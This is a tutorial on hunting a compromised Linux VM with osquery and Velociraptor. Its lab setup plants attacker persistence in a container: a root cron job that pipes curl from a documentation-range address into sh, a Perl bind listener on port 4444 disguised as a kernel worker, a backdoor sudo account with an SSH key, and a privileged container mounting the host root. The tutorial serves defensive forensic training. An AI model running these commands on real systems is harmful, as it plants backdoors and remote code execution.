osquery and Velociraptor, hands-on

Two ways to question a running machine

osquery presents an operating system as a database: processes, listening ports, user accounts, cron jobs and more than 150 other things on Linux are tables, and you read them with SQL. It began at Facebook, runs on Linux, macOS and Windows, and is open source under your choice of the Apache 2.0 licence or the GNU General Public License (GPL) 2.0. It is built to run as an agent across a fleet of machines, and its README lists several fleet managers for that, so on a cloud virtual machine (VM) it may be installed before you arrive. osqueryi is its interactive shell and needs nothing else running; osqueryd is the daemon that runs scheduled queries and records events.

Velociraptor, from Velocidex and open source under the GNU Affero General Public License (AGPL) 3.0, is built for endpoint monitoring, digital forensics and incident response. It is one binary that can act as a server, as a client, or on its own from the command line. Its language, VQL (Velociraptor Query Language), reads like SQL, but its sources are plugins that take arguments, and its queries are packaged as artifacts: named, documented collections that can be run on one machine or across a fleet. On a VM that has neither tool, you can copy the single binary across, collect what you need into a zip file and take the zip away.

The lab is an Ubuntu 24.04 container standing in for the suspect VM. A container runs no init system and is not in a cloud, so two things on this page cannot be shown for real: a running systemd and a cloud provider's metadata service. The page says what those tables do instead, and how that was checked.

The one idea that makes it click

A table is a function that runs when you query it, and it reports only what it could see. Nothing stores the rows of osquery's processes table. When a query names it, osquery reads /proc and builds the rows on the spot; authorized_keys opens files in home directories; ec2_instance_metadata makes HTTP requests. A VQL plugin such as pslist() or glob() does the same. So the answer depends on who is asking, from where, with which arguments, and whether the thing being read exists.

When a table cannot see something, it does not fail. It returns fewer rows, or none, and the shell exits with status 0. An empty result from a machine with no backdoor and an empty result from a query that could not look are printed identically. Every query you rely on during an investigation needs a control: something you know is there, found by the same query run the same way.

Seven ways to get an empty answer

Each of these was reproduced in the lab and is shown in the walk-through, at the step linked. None of them stops a query with an error.

1. The table reads only the current user. authorized_keys and shell_history read the files of the account osquery runs as, unless the query joins the users table. Run as root, the shell prints a warning line; a scheduled query has nobody to read it. (step 4)
2. osquery is not running as root. Other users' processes lose their paths, so a search for deleted binaries finds nothing; listening ports lose their process; other users' keys and history disappear. Nothing is printed to say so. (step 4)
3. The data source is missing. A table that exists on Linux but cannot reach what it reads returns no rows: docker_containers without the Docker socket prints nothing at all, and systemd_units without systemd prints one error line. A table that does not exist on the platform is different: osquery reports it as an error, no such table. (steps 5 and 6)
4. The cloud metadata service cannot be reached. Off EC2 (Amazon Elastic Compute Cloud), or in a container on an instance that requires IMDSv2 (Instance Metadata Service version 2) tokens and lets their response travel only one network hop, ec2_instance_metadata retries for several minutes and then returns one row of empty strings. (step 6)
5. The table is event-based and nothing was recording. osqueryi runs with events switched off, so file_events, process_events and the other event tables return nothing in it, and even the daemon holds only what happened after it started. (step 7)
6. A VQL argument or accessor is wrong. A misspelt argument name, or an accessor that does not exist on this platform, gives zero rows and exit status 0. The right accessor pointed at the wrong place is worse: it returns real rows from the wrong machine. (steps 9 and 11)
7. A packaged query's defaults leave something out. Velociraptor's Linux.Ssh.AuthorizedKeys artifact looks under /home, so root's keys are not in its results. (step 10)

The defence is the same each time: run the query where you know the answer, as the account and with the flags you will use for real, and treat an empty result as a question rather than a finding.

Walk-through

Blocks labelled bash that start with docker run in a terminal on your own machine. Other bash blocks run in a shell inside a container, sql blocks are typed into osqueryi, and vql blocks into the vql helper defined in step 8. Process IDs, times and hashes of files the lab creates will differ on your machine.

1. Start the stand-in VM and install osquery

The volume carries a Docker engine's socket into the VM in step 6. Start the container and open a shell in it:

docker volume create csoh-osq-dsock
docker run -d --name csoh-osq-vm --hostname web-01 -v csoh-osq-dsock:/run/dind ubuntu:24.04 sleep infinity
docker exec -it csoh-osq-vm bash

Inside the container, install osquery from the package the osquery project publishes on its GitHub release. dpkg --print-architecture prints amd64 or arm64, which is how both the osquery and Velociraptor file names spell the architecture:

apt-get update -qq && apt-get install -y -qq curl ca-certificates > /dev/null
ARCH=$(dpkg --print-architecture)
curl -fsSLO "https://github.com/osquery/osquery/releases/download/5.24.1/osquery_5.24.1-1.linux_${ARCH}.deb"
sha256sum osquery_5.24.1-1.linux_${ARCH}.deb
dpkg -i osquery_5.24.1-1.linux_${ARCH}.deb > /dev/null
osqueryi --version

debconf: delaying package configuration, since apt-utils is not installed
6a14f55b8be802e1e9b10108295ce7df82437e02161f28030ce71711fbf27a64  osquery_5.24.1-1.linux_arm64.deb
osqueryi version 5.24.1

Compare the hash with the digest GitHub lists beside the file on the release page. The package puts osqueryd in /opt/osquery/bin; osqueryi is a link to the same binary, which behaves as the shell when it is called by that name.

2. Plant the compromise

This block is the attacker's work. Paste it without reading it closely if you want the exercises to be a hunt. It leaves the machine with a few things an investigation should find, and makes no network connection.

useradd -m -s /bin/bash -G sudo svc-backup
mkdir -p /root/.ssh /home/svc-backup/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOCiWtG9G/7fwOA1KrRHuFM8j5xYHJXOtBRfiw+oR8V4 deploy@ci-runner-7' | tee -a /root/.ssh/authorized_keys >> /home/svc-backup/.ssh/authorized_keys
chown -R svc-backup:svc-backup /home/svc-backup/.ssh
echo '*/5 * * * * root curl -fsSL http://198.51.100.23/u.sh | sh' > /etc/cron.d/dbus-update
mkdir -p /var/tmp/.font-cache
cp /usr/bin/perl /var/tmp/.font-cache/kworkerd
printf '%s\n' '[Unit]' 'Description=Font cache refresher' '[Service]' 'ExecStart=/var/tmp/.font-cache/kworkerd -MIO::Socket::INET -e "IO::Socket::INET->new(LocalPort=>4444,Listen=>5,ReuseAddr=>1)->accept while 1"' 'Restart=always' '[Install]' 'WantedBy=multi-user.target' > /etc/systemd/system/font-cache.service
ln -s /etc/systemd/system/font-cache.service /etc/systemd/system/multi-user.target.wants/font-cache.service
printf '%s\n' 'id' 'curl -fsSL http://198.51.100.23/u.sh | sh' 'useradd -m -s /bin/bash -G sudo svc-backup' 'cp /usr/bin/perl /var/tmp/.font-cache/kworkerd' 'history -c' > /root/.bash_history
nohup /var/tmp/.font-cache/kworkerd -MIO::Socket::INET -e 'IO::Socket::INET->new(LocalPort=>4444,Listen=>5,ReuseAddr=>1)->accept while 1' > /dev/null 2>&1 &
sleep 1
rm /var/tmp/.font-cache/kworkerd

The address in the cron job is from a range reserved for documentation, so nothing answers it, and no cron daemon is installed to run it.

3. What is running, and what is listening

Start the shell with osqueryi. Lines that start with a dot are shell commands: .tables lists the tables, .schema processes shows one table's columns, and .exit leaves. Everything else is SQL, ended with a semicolon.

SELECT pid, parent, name, path, on_disk FROM processes;

+------+--------+----------+-------------------------------+---------+
| pid  | parent | name     | path                          | on_disk |
+------+--------+----------+-------------------------------+---------+
| 1    | 0      | sleep    | /usr/bin/sleep                | 1       |
| 2531 | 1      | kworkerd | /var/tmp/.font-cache/kworkerd | 0       |
| 2540 | 0      | bash     | /usr/bin/bash                 | 1       |
| 2546 | 2540   | osqueryi | /opt/osquery/bin/osqueryd     | 1       |
+------+--------+----------+-------------------------------+---------+

Each row was built from /proc when the query ran. path is where the executable was loaded from, and on_disk says whether that file still exists: 1 for yes, 0 for no, and -1 when osquery could not tell. A process whose binary has been deleted is worth a second look, and a binary in a hidden directory under /var/tmp with the name of a kernel worker thread is worth a third. Which ports are open, and who opened them:

SELECT l.port, l.address, p.pid, p.name, p.cmdline
FROM listening_ports l JOIN processes p USING (pid);

+------+---------+------+----------+-----------------------------------------------------------------------------------------------------------------------------------+
| port | address | pid  | name     | cmdline                                                                                                                           |
+------+---------+------+----------+-----------------------------------------------------------------------------------------------------------------------------------+
| 4444 | 0.0.0.0 | 2531 | kworkerd | /var/tmp/.font-cache/kworkerd -MIO::Socket::INET -e IO::Socket::INET->new(LocalPort=>4444,Listen=>5,ReuseAddr=>1)->accept while 1 |
+------+---------+------+----------+-----------------------------------------------------------------------------------------------------------------------------------+

The join works because both tables have a pid column. The command line gives the game away: the "kernel worker" is a Perl interpreter running a one-line server on port 4444.

4. Who can log in, and who is asking

Accounts with a shell someone could log in to, and the members of the groups that usually hold sudo rights:

SELECT username, uid, shell, directory FROM users
WHERE shell NOT LIKE '%nologin' AND shell NOT LIKE '%false';

SELECT u.username, g.groupname
FROM users u
JOIN user_groups ug ON ug.uid = u.uid
JOIN groups g ON g.gid = ug.gid
WHERE g.groupname IN ('sudo', 'admin', 'wheel');

+------------+------+-----------+------------------+
| username   | uid  | shell     | directory        |
+------------+------+-----------+------------------+
| root       | 0    | /bin/bash | /root            |
| sync       | 4    | /bin/sync | /bin             |
| ubuntu     | 1000 | /bin/bash | /home/ubuntu     |
| svc-backup | 1001 | /bin/bash | /home/svc-backup |
+------------+------+-----------+------------------+
+------------+-----------+
| username   | groupname |
+------------+-----------+
| ubuntu     | sudo      |
| svc-backup | sudo      |
+------------+-----------+

sync is a standard system account whose "shell" is /bin/sync. ubuntu comes with the image. svc-backup is new, and it is in sudo. Now the SSH (Secure Shell) keys that let someone in without a password:

SELECT * FROM authorized_keys;

W1105 01:05:20.801306  2570 virtual_table.cpp:1016] The authorized_keys table returns data based on the current user by default, consider JOINing against the users table
W1105 01:05:20.801322  2570 virtual_table.cpp:1033] Please see the table documentation: https://osquery.io/schema/#authorized_keys
+-----+-------------+----------------------------------------------------------------------+---------+--------------------+----------------------------+
| uid | algorithm   | key                                                                  | options | comment            | key_file                   |
+-----+-------------+----------------------------------------------------------------------+---------+--------------------+----------------------------+
| 0   | ssh-ed25519 | AAAAC3NzaC1lZDI1NTE5AAAAIOCiWtG9G/7fwOA1KrRHuFM8j5xYHJXOtBRfiw+oR8V4 |         | deploy@ci-runner-7 | /root/.ssh/authorized_keys |
+-----+-------------+----------------------------------------------------------------------+---------+--------------------+----------------------------+

One key, root's, and two warning lines. authorized_keys is one of osquery's per-user tables: given no uid, it reads only the home directory of the account running the query. The warning appears because you are root. The same query scheduled in osqueryd writes the warning to the daemon's log and returns the same single row. Join users and every account is read:

SELECT u.username, k.key_file, k.comment
FROM users u JOIN authorized_keys k USING (uid);

+------------+---------------------------------------+--------------------+
| username   | key_file                              | comment            |
+------------+---------------------------------------+--------------------+
| root       | /root/.ssh/authorized_keys            | deploy@ci-runner-7 |
| svc-backup | /home/svc-backup/.ssh/authorized_keys | deploy@ci-runner-7 |
+------------+---------------------------------------+--------------------+

Now ask the same questions as an ordinary user, which is what you get when an agent or a colleague runs osquery without root. Leave osqueryi with .exit first. Given a query as an argument, osqueryi runs it and exits:

runuser -u ubuntu -- osqueryi "SELECT u.username, k.key_file FROM users u JOIN authorized_keys k USING (uid);"
runuser -u ubuntu -- osqueryi "SELECT pid, name, path, on_disk FROM processes WHERE name = 'kworkerd';"
runuser -u ubuntu -- osqueryi "SELECT pid, port FROM listening_ports;"

+------+----------+------+---------+
| pid  | name     | path | on_disk |
+------+----------+------+---------+
| 2531 | kworkerd |      | -1      |
+------+----------+------+---------+
+-----+------+
| pid | port |
+-----+------+
| -1  | 4444 |
| -1  | 4444 |
+-----+------+

The first prints nothing at all, not even a header, because the user cannot read the other home directories. The second finds the process but not its path: an ordinary user cannot follow another user's /proc/<pid>/exe, so on_disk is -1, and step 3's test for deleted binaries, on_disk = 0, would come back empty. The listener is still there, but its process ID is -1 and the row appears twice. Check who osquery runs as before believing any empty result.

5. What persists, and what changed

Back in osqueryi. Cron first: the crontab table parses /etc/crontab, /etc/cron.d/ and the per-user spool.

SELECT path, minute, hour, command FROM crontab;

+-------------------------+--------+------+----------------------------------------------------------------------------------------------------------+
| path                    | minute | hour | command                                                                                                  |
+-------------------------+--------+------+----------------------------------------------------------------------------------------------------------+
| /etc/cron.d/dbus-update | */5    | *    | root curl -fsSL http://198.51.100.23/u.sh | sh                                                           |
| /etc/cron.d/e2scrub_all | 30     | 3    | root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/aarch64-linux-gnu/e2fsprogs/e2scrub_all_cron |
| /etc/cron.d/e2scrub_all | 10     | 3    | root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r                               |
+-------------------------+--------+------+----------------------------------------------------------------------------------------------------------+

Files in /etc/cron.d carry a user name before the command, and osquery leaves it in command, so read root curl ... as "run curl ... as root". e2scrub_all comes with the image. Next, services. On a VM, systemd_units asks systemd over D-Bus which units it has loaded:

SELECT id, active_state, fragment_path FROM systemd_units;

E1105 01:05:22.365916  2615 systemd_units.cpp:38] Failed to generate the systemd unit list: Failed to connect to the system dbus: Failed to connect to socket /var/run/dbus/system_bus_socket: No such file or directory (org.freedesktop.DBus.Error.FileNotFound)

The container has no systemd, so there is one error line and no rows. On a real VM this table lists the units systemd has loaded, so a unit file written to disk and not yet loaded can be missing from it until systemd reloads its configuration or the machine restarts. Read the files as well, with the file table, where % in a LIKE pattern matches one directory level and %% matches any depth:

SELECT path, datetime(mtime, 'unixepoch') AS modified
FROM file
WHERE path LIKE '/etc/systemd/system/%%' AND type = 'regular'
ORDER BY mtime DESC;

+------------------------------------------------------------------+---------------------+
| path                                                             | modified            |
+------------------------------------------------------------------+---------------------+
| /etc/systemd/system/font-cache.service                           | 2026-11-05 01:05:18 |
| /etc/systemd/system/multi-user.target.wants/font-cache.service   | 2026-11-05 01:05:18 |
| /etc/systemd/system/timers.target.wants/fstrim.timer             | 2026-08-19 16:47:51 |
| /etc/systemd/system/timers.target.wants/motd-news.timer          | 2025-10-10 11:20:06 |
| /etc/systemd/system/timers.target.wants/apt-daily-upgrade.timer  | 2024-10-22 13:02:22 |
| /etc/systemd/system/timers.target.wants/apt-daily.timer          | 2024-10-22 13:02:22 |
| /etc/systemd/system/timers.target.wants/dpkg-db-backup.timer     | 2024-09-26 19:14:01 |
| /etc/systemd/system/multi-user.target.wants/e2scrub_reap.service | 2024-04-28 23:44:46 |
| /etc/systemd/system/timers.target.wants/e2scrub_all.timer        | 2024-04-28 23:44:46 |
+------------------------------------------------------------------+---------------------+

Two of those rows are the same file: the second is the link that enables the unit at boot. Sorting by modification time puts the attacker's work on top, but mtime is easy to set to anything, so treat it as a hint rather than a fact. Finally, what was typed:

SELECT u.username, h.command
FROM users u JOIN shell_history h USING (uid);

+----------+------------------------------------------------+
| username | command                                        |
+----------+------------------------------------------------+
| root     | id                                             |
| root     | curl -fsSL http://198.51.100.23/u.sh | sh      |
| root     | useradd -m -s /bin/bash -G sudo svc-backup     |
| root     | cp /usr/bin/perl /var/tmp/.font-cache/kworkerd |
| root     | history -c                                     |
+----------+------------------------------------------------+

history -c clears the history held in the running shell, not the file. shell_history is per-user like authorized_keys, so it needs the join too. Your own shell appends its commands to /root/.bash_history when it exits, so on a real case, read the history before you leave a shell on the machine.

6. Containers and cloud metadata

osquery's Docker tables talk to the Docker engine through its socket, by default /var/run/docker.sock. This VM has no engine:

SELECT id, name, image FROM docker_containers;

Nothing is printed: no rows, no header and no warning. Run with --verbose, osquery logs Error connecting to docker sock: No such file or directory as an information line among dozens. A machine running rootless Docker keeps its socket under /run/user/, and this table is empty there too until you point it there. To see rows, give the VM an engine: a second container running Docker, sharing its socket through the volume from step 1, with one container started in it the way an attacker who wanted the host's files might start it. The --privileged flag gives that Docker container full control of the machine Docker runs on: on Docker Desktop that is its Linux virtual machine, and on Linux it is your computer. docker:dind is the Docker project's own image, and nothing after this step depends on it, so skip it if you would rather not. In a terminal on your own machine:

docker run -d --name csoh-osq-dockerd --privileged -v csoh-osq-dsock:/run/dind docker:dind dockerd --host=unix:///run/dind/docker.sock
docker exec csoh-osq-dockerd sh -c 'until docker -H unix:///run/dind/docker.sock info > /dev/null 2>&1; do sleep 1; done'
docker exec csoh-osq-dockerd docker -H unix:///run/dind/docker.sock run -d -q --name node-exporter --privileged -v /:/host alpine:3.24 sleep infinity

Back in the VM's terminal, leave osqueryi with .exit, and point osquery at the socket with --docker_socket:

osqueryi --docker_socket=/run/dind/docker.sock "SELECT name, image, privileged, state FROM docker_containers;"
osqueryi --docker_socket=/run/dind/docker.sock "SELECT c.name, m.source, m.destination, m.rw FROM docker_containers c JOIN docker_container_mounts m USING (id);"

+----------------+-------------+------------+---------+
| name           | image       | privileged | state   |
+----------------+-------------+------------+---------+
| /node-exporter | alpine:3.24 | 1          | running |
+----------------+-------------+------------+---------+
+----------------+--------+-------------+----+
| name           | source | destination | rw |
+----------------+--------+-------------+----+
| /node-exporter | /      | /host       | 1  |
+----------------+--------+-------------+----+

The Docker engine reports names with a leading /. A privileged container with the host's root directory mounted read-write can change anything on the host. In the lab the "host" is the Docker container, not your machine.

The cloud metadata tables read the provider's instance metadata service at 169.254.169.254. osquery has ec2_instance_metadata and ec2_instance_tags for AWS (Amazon Web Services), azure_instance_metadata and azure_instance_tags for Azure, and no table for Google Cloud. In the lab nothing answers at that address:

time osqueryi "SELECT instance_id, region, iam_arn FROM ec2_instance_metadata;"

E1105 01:06:08.481091  2663 aws_util.cpp:668] Failed 3 attempts at retrieving an IMDSv2 token
E1105 01:06:11.485486  2663 ec2_instance_metadata.cpp:69] Failed to get instance metadata from the metadata service dynamic/instance-identity/document
E1105 01:10:23.650851  2663 aws_util.cpp:668] Failed 3 attempts at retrieving an IMDSv2 token
E1105 01:10:26.651937  2663 ec2_instance_metadata.cpp:69] Failed to get instance metadata from the metadata service meta-data/security-groups
+-------------+--------+---------+
| instance_id | region | iam_arn |
+-------------+--------+---------+
|             |        |         |
+-------------+--------+---------+

real	5m0.411s
user	0m0.026s
sys	0m0.022s

The error lines shown are the first two and the last two of 14, and the shell exited with status 0. For each of the seven metadata paths it reads, osquery asks for an IMDSv2 session token, making three attempts with waits of 3, 9 and 27 seconds, then falls back to a request without a token, as version 1 of the service (IMDSv1) accepts. When that fails as well, it logs an error and returns a row anyway, with every column empty. Where the token request works, osquery sends the token with every read, so an instance that requires IMDSv2 is not a problem in itself. A container on an instance can be: the token's response may travel only a set number of network hops, 1 unless the instance, its image or the account's defaults set more, and AWS's documentation warns that from inside a container the call may get no response, because reaching the container counts as an extra hop. There osquery spends the same minutes retrying, and on an instance that requires IMDSv2 its token-less fallback is refused, so the row is just as empty. AWS suggests a hop limit of 2 for containers. --aws_disable_imdsv1_fallback stops osquery from making the token-less request at all, but it still waits through the token attempts. azure_instance_metadata gives up sooner: unless /var/log/waagent.log, the Azure Linux agent's log, exists, it returns no rows, at once and with no message.

7. Event tables need the daemon

Some tables are fed by events rather than read on demand: file_events from the kernel's inotify file watches, process_events and socket_events from the Linux audit system. Start osqueryi again:

SELECT target_path, action FROM file_events;

W1105 01:10:27.002697  2677 virtual_table.cpp:1026] Table file_events is event-based but events are disabled
W1105 01:10:27.002710  2677 virtual_table.cpp:1033] Please see the table documentation: https://osquery.io/schema/#file_events

osqueryi starts with events switched off, and forces them off whenever it is given a query as an argument or on standard input, whatever flags you pass. Events are collected by osqueryd, from the moment it starts, for the paths its configuration names. Leave osqueryi, then give the daemon a watch list and start it:

cat > /etc/osquery/osquery.conf <<'EOF'
{
  "file_paths": {
    "persistence": ["/etc/cron.d/%%", "/etc/systemd/system/%%", "/root/.ssh/%%", "/home/%/.ssh/%%"]
  }
}
EOF
osqueryd --daemonize --enable_file_events
sleep 3
echo '*/10 * * * * root /var/tmp/.font-cache/kworkerd' > /etc/cron.d/logrotate-fix
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOCiWtG9G/7fwOA1KrRHuFM8j5xYHJXOtBRfiw+oR8V4 deploy@ci-runner-7' >> /home/svc-backup/.ssh/authorized_keys
sleep 3
osqueryi --connect /var/osquery/osquery.em "SELECT target_path, action FROM file_events;"

Connected to extension socket /var/osquery/osquery.em for debugging
+---------------------------------------+---------+
| target_path                           | action  |
+---------------------------------------+---------+
| /etc/cron.d/logrotate-fix             | CREATED |
| /etc/cron.d/logrotate-fix             | UPDATED |
| /etc/cron.d/logrotate-fix             | UPDATED |
| /home/svc-backup/.ssh/authorized_keys | UPDATED |
| /home/svc-backup/.ssh/authorized_keys | UPDATED |
+---------------------------------------+---------+

--connect runs the query inside the daemon, through its extension socket, so it reads the daemon's events. Only the two changes made after the daemon started are there, each reported more than once because the kernel sends separate events as a file is created and written. The cron job and keys from step 2 are not there. Event tables can tell you what changed while you watched, never what happened before. The audit-based tables also need --disable_audit=false and access to the kernel's audit system, which an unprivileged container does not have. Deployed across a fleet, the daemon runs such queries on a schedule, and its logger plugins can send the results off the machine, which is where an investigation would read them.

8. Install Velociraptor and run a first query

Velociraptor's GitHub release ships its Linux binaries compressed with gzip. Still in the VM's shell:

ARCH=$(dpkg --print-architecture)
curl -fsSL -o velociraptor.gz "https://github.com/Velocidex/velociraptor/releases/download/v0.77.3/velociraptor-v0.77.3-linux-${ARCH}.gz"
sha256sum velociraptor.gz
gunzip velociraptor.gz
install -m 0755 velociraptor /usr/local/bin/velociraptor
velociraptor version | head -2
vql() { velociraptor query --format jsonl -f /dev/stdin; }

f28e097c98bee125bf65adfe64937c9699b4d77742b7ab12f186a065298e72c3  velociraptor.gz
name: velociraptor
version: 0.77.3

The last line defines vql, which reads a query from standard input: type vql, paste a vql block, and press Ctrl-D on an empty line. In VQL, the thing after FROM is a plugin, called like a function with named arguments, and its rows are what you select from:

SELECT Pid, Name, Exe, CommandLine FROM pslist() WHERE Exe =~ "deleted"

{"Pid":2531,"Name":"kworkerd","Exe":"/var/tmp/.font-cache/kworkerd (deleted)","CommandLine":"/var/tmp/.font-cache/kworkerd -MIO::Socket::INET -e IO::Socket::INET-\u003enew(LocalPort=\u003e4444,Listen=\u003e5,ReuseAddr=\u003e1)-\u003eaccept while 1"}

=~ is a regular-expression match. Velociraptor reports the deleted binary as the kernel does, with (deleted) after its path. Results come back as JSON (JavaScript Object Notation) lines, one object per row, which is also how they are stored in collections.

9. LET, foreach and accessors

LET names a query so a later one can use it. foreach() runs its query once for each row of its row argument, with that row's columns in scope. Together they answer "for every account with a shell, list its key files", without knowing the home directories in advance:

LET login_users = SELECT User, Homedir FROM Artifact.Linux.Sys.Users()
  WHERE NOT Shell =~ "(nologin|false|sync)$"

SELECT * FROM foreach(row=login_users, query={
  SELECT User, OSPath, Mtime FROM glob(globs=Homedir + "/.ssh/authorized_keys*")
})

{"User":"root","OSPath":"/root/.ssh/authorized_keys","Mtime":"2026-11-05T01:05:18.900394011Z"}
{"User":"svc-backup","OSPath":"/home/svc-backup/.ssh/authorized_keys","Mtime":"2026-11-05T01:10:30.333106169Z"}

Artifact.Linux.Sys.Users() calls an artifact as if it were a plugin. The same pattern ties each listening port to its process:

SELECT * FROM foreach(
  row={ SELECT Laddr.Port AS Port, Pid FROM netstat() WHERE Status = "LISTEN" },
  query={ SELECT Port, Pid, Name, Exe FROM pslist(pid=Pid) })

{"Port":4444,"Pid":2531,"Name":"kworkerd","Exe":"/var/tmp/.font-cache/kworkerd (deleted)"}

Plugins and functions that open files take an accessor argument, which says how to interpret the path. file reads through the operating system, which is what the queries above did without naming an accessor; data treats the "path" as the file's contents; zip and collector read inside archives; ntfs and ext4 parse file systems themselves. Read the attacker's unit file:

SELECT OSPath, read_file(filename=OSPath) AS Content
FROM glob(globs="/etc/systemd/system/*.service")

{"OSPath":"/etc/systemd/system/font-cache.service","Content":"[Unit]\nDescription=Font cache refresher\n[Service]\nExecStart=/var/tmp/.font-cache/kworkerd -MIO::Socket::INET -e \"IO::Socket::INET-\u003enew(LocalPort=\u003e4444,Listen=\u003e5,ReuseAddr=\u003e1)-\u003eaccept while 1\"\nRestart=always\n[Install]\nWantedBy=multi-user.target\n"}

Now the same glob() with an accessor this Linux build does not have, the same glob with its argument misspelt as glob=, and a read through the data accessor:

SELECT OSPath FROM glob(globs="/etc/systemd/system/*.service", accessor="ntfs")

SELECT OSPath FROM glob(glob="/etc/systemd/system/*.service")

SELECT read_file(filename="/etc/hostname", accessor="data") AS Content FROM scope()

{"Content":"/etc/hostname"}

The first two print nothing and exit with status 0. The third returns the path itself, because the data accessor's file is the string it is given; artifacts use it on purpose to parse a command's output. Velociraptor does say what went wrong, as information-level log lines, and only when asked for them with -v:

velociraptor -v query 'SELECT OSPath FROM glob(globs="/etc/systemd/system/*.service", accessor="ntfs")' 2>&1 | grep 'glob:'
velociraptor -v query 'SELECT OSPath FROM glob(glob="/etc/systemd/system/*.service")' 2>&1 | grep 'glob:'

[INFO] 2026-11-05T01:10:36Z glob: Unknown filesystem accessor ntfs
[INFO] 2026-11-05T01:10:36Z glob: Field globs is required

A plugin name that does not exist, by contrast, stops the query with Plugin ... not found and a non-zero exit status. The silence is reserved for arguments.

10. Artifacts: queries with documentation and defaults

An artifact is a YAML file holding a name, a description, parameters with defaults, and one or more VQL queries. The binary carries hundreds; list the ones for SSH:

velociraptor artifacts list 'Linux\.Ssh\..*'

Linux.Ssh.AuthorizedKeys
Linux.Ssh.KnownHosts
Linux.Ssh.PrivateKeys

The pattern has to match the whole name. Without the final .*, the same command lists nothing and exits with status 0. Read an artifact before trusting it. velociraptor artifacts show Linux.Ssh.AuthorizedKeys prints the whole definition, and its first parameter is this:

velociraptor artifacts show Linux.Ssh.AuthorizedKeys | grep -A2 'name: sshKeyFilesGlob'

  - name: sshKeyFilesGlob
    default: '/home/*/.ssh/authorized_keys*'
    description: Glob of authorized_keys files.

The default looks only under /home. Run it as shipped, then with the parameter widened to root's home directory, which glob syntax writes as a brace list. The artifact returns a row per key, so GROUP BY and count() fold them into one row per file:

SELECT OSPath, count() AS Keys FROM Artifact.Linux.Ssh.AuthorizedKeys() GROUP BY OSPath

SELECT OSPath, count() AS Keys
FROM Artifact.Linux.Ssh.AuthorizedKeys(sshKeyFilesGlob="{/root,/home/*}/.ssh/authorized_keys*")
GROUP BY OSPath

{"OSPath":"/home/svc-backup/.ssh/authorized_keys","Keys":2}
{"OSPath":"/home/svc-backup/.ssh/authorized_keys","Keys":2}
{"OSPath":"/root/.ssh/authorized_keys","Keys":1}

The default finds the two keys in svc-backup's home, the second added in step 7, and not the one in root's. osquery's authorized_keys without a join, in step 4, had the opposite blind spot. Both tools also miss keys in any other place sshd has been configured to read, through AuthorizedKeysFile in /etc/ssh/sshd_config.

11. Collect the evidence and hand it on

An offline collector is Velociraptor with a list of artifacts and their parameters built in. You build it on your own workstation, copy it to the VM, run it there, and copy back one zip file holding the results, the uploaded files and a log. A second container plays the workstation. From a terminal on your machine:

docker run -d --name csoh-osq-analyst --hostname analyst ubuntu:24.04 sleep infinity
docker exec -it csoh-osq-analyst bash

In the workstation's shell, install Velociraptor and the vql helper as in step 8, then write the collector's specification and build it:

apt-get update -qq && apt-get install -y -qq curl ca-certificates > /dev/null
ARCH=$(dpkg --print-architecture)
curl -fsSL -o velociraptor.gz "https://github.com/Velocidex/velociraptor/releases/download/v0.77.3/velociraptor-v0.77.3-linux-${ARCH}.gz"
sha256sum velociraptor.gz
gunzip velociraptor.gz
install -m 0755 velociraptor /usr/local/bin/velociraptor
vql() { velociraptor query --format jsonl -f /dev/stdin; }
mkdir -p /root/build && cd /root/build
cat > spec.yaml <<'EOF'
OS: Generic
Artifacts:
  Linux.Sys.Users: {}
  Linux.Sys.Crontab: {}
  Linux.Sys.BashHistory: {}
  Linux.Sys.Pslist: {}
  Linux.Network.Netstat: {}
  Linux.Ssh.AuthorizedKeys:
    sshKeyFilesGlob: "{/root,/home/*}/.ssh/authorized_keys*"
    AlsoUpload: "Y"
Target: ZIP
EncryptionScheme: None
EncryptionArgs: {}
OptFilenameTemplate: "Collection-%Hostname%"
OptFormat: jsonl
EOF
velociraptor collector --datastore /root/build spec.yaml > /dev/null 2>&1
ls /root/build/Collector_*

debconf: delaying package configuration, since apt-utils is not installed
f28e097c98bee125bf65adfe64937c9699b4d77742b7ab12f186a065298e72c3  velociraptor.gz
/root/build/Collector_velociraptor-collector

velociraptor collector with no file prints a fully commented specification to start from. OS: Generic builds a small file that any Velociraptor binary can run, whatever the processor; OS: Linux instead builds a single amd64 executable that runs on its own, downloading the base binary from GitHub to do it. EncryptionScheme: None keeps the lab simple. For a real case, use X509, which encrypts the zip so that only the holder of the matching key can open it, because the zip holds whatever the artifacts found, keys and history included. Now carry the collector across, from a terminal on your machine:

docker cp csoh-osq-analyst:/root/build/Collector_velociraptor-collector .
docker cp Collector_velociraptor-collector csoh-osq-vm:/root/

In the VM's shell, run it, then record the zip's hash:

cd /root
velociraptor -- --embedded_config Collector_velociraptor-collector > collector.out 2>&1
sha256sum Collection-web-01.zip
grep -o 'Container hash [0-9a-f]*' Collection-web-01.log

460ef3de265b111950fb583f23fd45c3c904e9845730df4e5957f4a688f57b25  Collection-web-01.zip
Container hash 460ef3de265b111950fb583f23fd45c3c904e9845730df4e5957f4a688f57b25

The collector writes its own log beside the zip, and the hash it logs is the zip's SHA-256, so the log is a record made at collection time to check the file against later. Write both hashes into your case notes before the zip goes anywhere, and record the hash again each time it changes hands. osquery's answers can go with it: osqueryi --json prints any query as JSON for a file. Bring the zip back to the workstation, from your machine:

docker cp csoh-osq-vm:/root/Collection-web-01.zip .
docker cp Collection-web-01.zip csoh-osq-analyst:/root/

On the workstation, the evidence is inside the zip, and every VQL path is read through an accessor. Leave the accessor off, and the query reads the workstation itself:

SELECT OSPath FROM glob(globs="/etc/cron.d/*")

{"OSPath":"/etc/cron.d/e2scrub_all"}

That is a real cron file, from the wrong machine: the workstation's copy of the one the image ships with. Nothing in the output says which machine it came from. Read the collection through the collector accessor, with the zip as the root:

SELECT OSPath.Path AS Path, Size
FROM glob(globs="/uploads/auto/**", root=pathspec(DelegatePath="/root/Collection-web-01.zip"), accessor="collector")
WHERE NOT IsDir
ORDER BY Path

SELECT User, Command, Path
FROM parse_jsonl(filename=pathspec(DelegatePath="/root/Collection-web-01.zip", Path="/results/Linux.Sys.Crontab%2FCronTabs.json"), accessor="collector")

{"Path":"/uploads/auto/etc/cron.d/dbus-update","Size":59}
{"Path":"/uploads/auto/etc/cron.d/e2scrub_all","Size":202}
{"Path":"/uploads/auto/etc/cron.d/logrotate-fix","Size":48}
